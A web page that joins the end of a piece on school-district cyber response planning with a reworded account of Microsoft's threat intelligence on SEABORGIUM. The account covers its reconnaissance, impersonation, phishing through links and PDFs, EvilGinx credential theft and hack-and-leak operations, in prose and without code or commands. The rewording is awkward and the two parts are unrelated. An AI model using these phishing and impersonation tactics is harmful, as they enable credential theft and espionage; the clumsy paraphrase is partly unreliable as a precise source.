Teams, including the task force and security partners, follow customized checklists created to eliminate each particular type of danger. Triage, containment, eradication, recovery, post-incident activities, and closure are the steps to take once a threat has been identified.

As a result, when a department is affected, everyone who needs to know is kept in the loop about the threat, how it may affect them, and what is expected of them—avoiding needless fear. Fulton’s task force and partnerships now work to develop communication and understanding. In the end, all of these measures contribute to preventing danger from developing to the point where it affects with students’ ability to study.

Districts of all sizes are experiencing security problems, despite the fact that not every district is as big as Fulton and might not face as many cybersecurity risks. In order to keep students moving forward with their education, it is important to have the infrastructure and bandwidth to avoid outages and slowdowns.

“It’s important for districts to have a cyber response plan and to educate their leadership on that plan, and perhaps create a cyber task force, because attacks happen every day,” said Dr. Bell. “Every district needs to evaluate their own risk and develop plans that are specific to their most likely cyberattacks.”

 

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The SEABORGIUM campaigns were observed, and the Microsoft Threat Intelligence Center (MSTIC) intervened to stop them. SEABORGIUM is an actor that Microsoft has been tracking since 2017. With goals and victimology that closely resemble Russian state interests, SEABORGIUM is a threat actor with Russian origins. Consistent phishing and credential theft tactics that result in intrusions and data theft are part of its campaigns. The SEABORGIUM breaches have also been connected to hack-and-leak activities, in which data that has been taken and leaked is used to influence public opinion in target countries. The information obtained during the SEABORGIUM intrusions is likely to support traditional espionage objectives and information operations rather than financial motivations, according to MSTIC’s assessment. However, we cannot completely rule out the possibility that supporting members of the group may have current or past affiliations with criminal or other nonstate ecosystems.

To share context and spread awareness about a significant danger to Microsoft customers, this blog offers insights into SEABORGIUM’s operations and technical approaches. MSTIC would like to thank the Proofpoint Threat Research Team and the Google Threat Analysis Group (TAG) for working together to identify and stop this actor. Because of Microsoft’s capacity to identify and follow SEABORGIUM’s misuse of its services, primarily OneDrive, MSTIC has had continuous access to information about the actor’s actions and has been able to alert any affected customers. Following these service abuse investigations, MSTIC collaborated with Microsoft’s abuse teams to disable the accounts used by the actor for monitoring, phishing, and email collecting. Additionally, Microsoft Defender SmartScreen has put in place detections for the phishing domains used by SEABORGIUM.

Who is SEABORGIUM?

SEABORGIUM is a very tenacious threat actor who repeatedly targets the same businesses over extended periods. Once effective, it gradually enters the social networks of the targeted companies using persistent phishing, rapport-building, and impersonation to further its incursion. For many years, SEABORGIUM has conducted effective operations to compromise targets such as businesses and individuals, rarely altering its methods or strategies. SEABORGIUM overlaps with the threat groups listed as Callisto Group (F-Secure), TA446 (Proofpoint), and COLDRIVER based on known indicators of compromise and actor methods (Google). However, MSTIC has not detected any technological infiltration links to support the association between Callisto and Gamaredon Group (tracked by Microsoft as ACTINIUM), as claimed by the Security Service of Ukraine (SSU).

Microsoft has detected SEABORGIUM efforts since the start of 2022 that target more than 30 organizations in addition to individual accounts of people of interest. SEABORGIUM mostly targets NATO members, especially the US and the UK, with sporadic attacks on other Baltic, Nordic, and Eastern European nations. In the months before Russia’s invasion, such targeting included the Ukrainian government sector and organizations playing supporting roles in the conflict there. Microsoft determines that, despite some targeting of these organizations, Ukraine is probably not the actor’s major focus; rather, it is most likely a reactive focus area and one of many other targets.

SEABORGIUM principally targets operations in the target countries at think tanks, universities, non-governmental and intergovernmental organizations (NGOs), and defense and intelligence consulting companies. 30% of Microsoft’s nation-state notifications relating to SEABORGIUM activities are sent to Microsoft customer email accounts, demonstrating SEABORGIUM’s keen interest in targeting specific people as well. SEABORGIUM has been shown to target former security agencies, Russian-policy experts, and Russian nationals living abroad. Customers of Microsoft services that have been targeted or compromised are directly informed by Microsoft, as is the case with any observed nation-state actor activity, and are given the information necessary to safeguard their accounts.

Observed actor activity

Microsoft has been monitoring SEABORGIUM for a long time and has noticed a similar methodology, with only minor variations in their social engineering techniques and in how they deliver the initial infected URL to their targets. This section includes a thorough examination of SEABORBIUM’s operational strategies and various examples of their campaigns.

Impersonation and establishing contact

SEABORGIUM usually undertakes reconnaissance of target individuals before launching a campaign, with a focus on finding reliable contacts in the targets’ distant social network or sphere of influence. We believe that the threat actor leverages social networking platforms, personal directories, and general open-source information (OSINT) to support their reconnaissance efforts based on some of the impersonation and targeting that we have witnessed. In collaboration with LinkedIn, MSTIC has noticed that fake profiles purporting to be from SEABORGIUM are occasionally being used to spy on personnel from particular organizations of interest. LinkedIn canceled any accounts (including the one displayed below) that were found to be engaging in fraudulent or inauthentic activity following their policy.

Figure 1: Example profile used by SEABORGIUM to conduct industry-specific reconnaissance

Additionally, SEABORGIUM creates new email accounts at different consumer email providers with email addresses or aliases that are set up to resemble real aliases or names of impersonators. We have seen SEABORGIUM return to and reuse prior accounts that fit the industry of the ultimate target, even if the establishment of new consumer accounts is typical. In one instance, we noticed SEABORGIUM accessing an account it hadn’t used in a year, suggesting that accounts might be tracked and reused if they are important to targets’ verticals.

New accounts having been created, SEABORGIUM moves on to contact their target. For personal or consumer targeting, MSTIC has mostly seen the actor begin the exchange with a friendly email message, usually exchanging pleasantries before mentioning a fake attachment and bringing up a subject of the target’s choosing. This extra step probably aids the performer in developing rapport and averting suspicion, leading to more interaction. If the intended recipient responds, SEABORGIUM then sends a weaponized email.

Figure 2: Example email showing the multi-email approach and rapport building frequently used by the actors.

MSTIC has also recorded some instances where the actor concentrates on phishing with a more organized approach. In these situations, the actor employs a persuasive social engineering strategy and usually turns to distributing malicious content directly.

Figure 3: Example phishing email from 2022 where the actor impersonates the lead of an organization and emails select members of the organization with a cybersecurity-themed lure.

These instances serve to highlight the actors’ adaptability and capacity to modify their social engineering strategy to win the trust of their targets.

 

Delivery of malicious content

Microsoft has discovered many versions of how SEABORGIUM distributes a link that leads targets to their infrastructure for stealing credentials.

URL in the body of an email

In the simplest scenario, SEABORGIUM simply inserts a URL to the email body. Sometimes the actor hides their URL from the target and inline protection platforms by using URL shorteners and open redirection. The emails range from fake file-sharing emails that imitate some platforms to the fake personal contact with the hyperlinked text.

Figure 4: Example follow-up email impersonating a OneDrive share. The link embedded takes the user to actor-controlled infrastructure.

PDF file attachment that contains a URL

In SEABORGIUM campaigns, MSTIC has noticed an upsurge in the use of attachments. These attachments usually imitate a file or document hosting service, such as OneDrive, and ask the user to click a button to open the attachment.

Figure 5: Campaign from 2022 using the war in Ukraine as a ruse. Example of SEABORGIUM directly attaching a PDF file to the email.

Figure 6: Example PDF file used in campaigns. The PDF files appear to be a failed preview, redirecting the users to click a link that takes the user to an actor-controlled infrastructure.

OneDrive link to PDF file that contains a URL

Additionally, SEABORGIUM makes advantage of OneDrive to host PDF documents that link to the malicious URL. There are no security flaws or vulnerabilities on the OneDrive platform as a result of this activity. The actors add a OneDrive link in the email body that, when clicked, takes the user to a PDF file stored in a OneDrive account under SEABORGIUM’s control. As was the case in the previous illustration, the victim is shown what seems to be a failed preview notice, luring the target to click the link and be taken to the infrastructure for stealing credentials. To further conceal its operational architecture, SEABORGIUM occasionally uses open redirects within the PDF file. In the sample below, SEABORGIUM redirects users to a Google URL.

Figure 7: Example document hosted on OneDrive that uses a Google redirect link to send users to actor-controlled infrastructure.

Credential theft

Regardless of the distribution mechanism, the target is sent to a server controlled by an actor that is hosting a phishing framework, most usually EvilGinx, when they click the URL. Microsoft has occasionally seen the attacker try to use internet activity fingerprinting to avoid automated browsing and detonation. The framework requests the target for authentication after redirecting the target to the final page, simulating a legitimate provider’s sign-in page and capturing any credentials. The target is routed to a website or document to conclude the engagement after credentials have been obtained.

Figure 8: Example cloned phishing portal used by SEABORGIUM to directly impersonate a victim organization.

Data exfiltration and impact

SEABORGIUM has been seen to sign in to victim email accounts using stolen credentials. The following behaviors are common, according to our confirmation of them based on our experience reacting to intrusions by this actor on behalf of our clients:

• Exfiltration of intelligence data: From the inboxes of victims, SEABORGIUM has been seen stealing emails and attachments.
• Setup of persistent data collection: In a few cases, SEABORGIUM has been seen setting up forwarding rules from victim inboxes to actor-controlled dead drop accounts, giving the actor long-term access to the data they have obtained. We’ve seen it happen more than once: the actors were able to obtain access to mailing-list information for private organizations, like those frequented by former intelligence officials, and kept a file of that material for later exfiltration and targeting.
• Access to people of interest: In a lot of incidents, SEABORGIUM has been seen using its impersonation accounts to promote communication with particular individuals of interest. As a result, they have sometimes accidentally been included in conversations involving multiple people. The nature of the talks discovered by Microsoft throughout its investigations reveals the possible sharing of classified data that might be useful for intelligence purposes.

We determine that espionage is probably one of the actor’s main motivations based on the unique victimology, documents stolen, conversations encouraged, and continuous collecting witnessed.

 

Sporadic involvement with information operations

A SEABORGIUM information operation was assigned to them in May 2021 by MSTIC based on observations and technical similarities to other known phishing attacks. Documents that were purportedly taken from a UK political group and published on a public PDF file-sharing website were part of the operation. Later, the documents were spread on social media by well-known SEABORGIUM accounts, but MSTIC found little more interaction or amplification. Microsoft was unable to confirm the content’s validity.

Late in May 2022, Reuters and Google TAG revealed information regarding a data operation, specifically a breach and leak, that they said was the work of COLDRIVER/SEABORGIUM. Through technological evidence, Microsoft independently connected SEABORGIUM to the campaign and concurs with TAG’s assessment of the person in charge of the operation. To create the impression that the participants were plotting a coup, the actors in the above operation released emails and documents from 2018 to 2022 that were purportedly stolen from consumer Protonmail accounts belonging to high-level Brexit supporters. Social media and specific politically themed media outlets with a sizable audience helped to spread the story.

Although there have only been two instances of direct involvement, MSTIC cannot rule out the possibility that SEABORGIUM’s infiltration operations have produced information that has been used by other information sources. Microsoft advises users to exercise caution when sharing or amplifying direct narratives, as with any information operation, and to be wary of the possibility that malicious actors may have purposefully incorporated false or misleading information to support their narrative. To prevent amplification, Microsoft will not be publishing the exact domain or content.

 

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